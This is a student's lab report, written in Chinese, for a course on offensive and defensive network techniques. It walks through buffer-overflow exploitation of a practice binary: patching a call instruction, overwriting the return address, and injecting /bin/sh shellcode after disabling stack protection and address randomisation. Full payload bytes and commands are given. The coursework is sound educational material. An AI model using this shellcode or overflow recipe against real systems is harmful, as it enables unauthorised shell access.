1.实验内容
- 通过修改可执行文件,改变程序执行流程,跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
2.实验过程
(一)直接修改程序机器指令,改变程序执行流程
- 登陆root,修改主机名为自己的学号。
- 将可执行文件pwn1传输到虚拟机中并运行该文件。
- 输入objdump -d pwn1 | more找到getshell、foo、main函数
此时可以看到main函数调用foo,对应机器指令为“ e8 d7ffffff“,我们需要修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff,使main函数调用getshell。
- 输入指令cp pwn1 pwn2复制一个文件并输入vi pwn2进入到文件中。
- 输入%!xxd切换显示模式为16进制。
- 输入/e8 d7找到要修改的内容,将d7改为c3。
-
输入objdump -d pwn2| more查看修改结果并进行测试
如图可知修改成功并且getshell成功运行。
(二)通过构造输入参数,造成BOF攻击,改变程序执行流
- 复制文件pwn3。
- 对pwn1进行反编译
可以通过-0x1c看到存在28字节的缓冲区,call调用foo,同时在堆栈上压上返回地址值为80484ba,我们的目标是覆盖返回地址并替换为getshell的地址。
- 使用gdb pwn3调试程序,输入1111111122222222333333334444444455555555。
- 输入info r确认输入字符串哪几个字符会覆盖到返回地址。
可以看到1234 那四个数最终会覆盖到堆栈上的返回地址,因此只要把这四个字符替换为 getShell 的内存地址,输给pwn3,pwn3就会运行getShell。
- 通过反编译可以看到getshell的返回地址为0804847d。
- 通过perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input先生成包括这样字符串的一个文件。
- 输入xxd input查看input文件的内容是否如预期。
- 通过(cat input; cat) | ./pwn1将input的输入,通过管道符“|”,作为pwn1的输入。
(三)注入Shellcode并执行
- execstack -s pwn20222415设置堆栈可执行
- execstack -q pwn20222415查询文件的堆栈是否可执行
- echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
- more /proc/sys/kernel/randomize_va_space验证地址随机化是否关闭
- 输入 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
- 输入(cat input_shellcode;cat) | ./pwn1将input_shellcode的输入内容作为pwn1的输入
- 打开新终端,输入ps -ef | grep pwn1查看进程
可以知道pwn1的进程是149223。
- 启用gdb调试程序,输入disassemble foo反编译foo函数并进行分析。
- 输入break *0x080484ae设置断点。
- 在另一个终端输入命令c并在次终端按一下回车。
- 输入info r esp查看栈顶指针所在位置,当前ESP值为0xffffcfec。
- 使用x/16x 0xffffcfec命令查看该地址处的存放内容,看到了0x04030201,说明找到了要的地址,栈顶指针地址再加4字节,就是shellcode应该处于的地址,即 0xffffcff0。
- 使用\xf0\xcf\xff\xff替换原占位符 \x01\x02\x03\x04,构造要注入的字符串:perl -e 'print "A" x 32;print "\xf0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
- 输入(cat input_shellcode; cat) | ./pwn1,执行ls命令
3.问题及解决方案
- 问题一:下载不了execstack
- 解决方案:进入官网https://pkgs.org/download/execstack下载,这里下载的是Ubuntu版本的,下载后将下载好的文件传输到虚拟机中再进行下载即可
- 问题二:使用Xftp8传输pwn1时找不到文件
- 解决方案:点击”选项“按钮,勾选显示隐藏文件即可。
4.学习感悟
本次实验虽然是照着实验指导书一步步做的,但通过本次实验,我接触到了机器指令,同时在实验的过程中,我逐渐理解了BOF攻击、getshell注入等内容。虽然在实验的过程中遇到了大大小小的问题,但对这些原理的掌握使我顺利解决了这些问题并完成了这次实验。
参考资料
- 《逆向及Bof基础实践说明》
- 20222415 2024-2025-1 《网络与系统攻防技术》实验一实验报告